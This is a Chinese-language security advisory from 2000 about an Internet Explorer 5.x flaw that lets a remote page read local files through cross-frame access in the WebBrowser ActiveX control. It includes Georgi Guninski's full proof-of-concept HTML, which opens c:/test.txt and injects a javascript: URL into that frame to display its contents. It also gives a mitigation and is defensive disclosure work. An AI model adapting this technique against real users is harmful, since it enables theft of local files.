安全研究
安全漏洞
微软IE的浏览功能在跨帧存取时存在漏洞
发布日期：2000-09-06
更新日期：2000-09-06
受影响系统：
Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 5.01
- Microsoft Windows 98
- Microsoft Windows 95
- Microsoft Windows NT 4.0
- Microsoft Windows NT 2000
描述：
IE的浏览功能没有正确地检查初始域名的合法性，因此通过存取包含本地内容的某个帧中的浏览器对象，远程WEB服务器可能存取任何网站访问者或邮件接收者的机器上的本地文件。攻击者必须知道文件路径和文件名。
<* 来源：Georgi Guninski (
joro@nat.bg) *>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Georgi Guninski 设置了如下演示页面：
http://www.nat.bg/~joro/webctrl1.html
该页面的源代码如下：
<HTML>
Web Browser Conrol vulnerability.
<BR>
Written by Georgi Guninski.
<BR>
<object id=web2
classid="clsid:8856F961-340A-11D0-A96B-00C04FD705A2"
>
</object>
<SCRIPT>
alert("This script reads C:\\TEST.TXT\nYou may need to create it");
a=window.open("file://c:/test.txt","A");
setTimeout('web2.Navigate("javascript:alert(document.body.innerText)","","A");',2000);
</SCRIPT>
<hr>
<p>
<a href="index.html">Go to Georgi Guninski's home page</a>
<br>
</HTML>
建议：
临时的解决办法是禁止活动的脚本解释执行。
浏览次数：6322
严重程度：0（网友投票）
本安全漏洞由绿盟科技翻译整理，版权所有，未经许可，不得转载
绿盟科技给您安全的保障 |
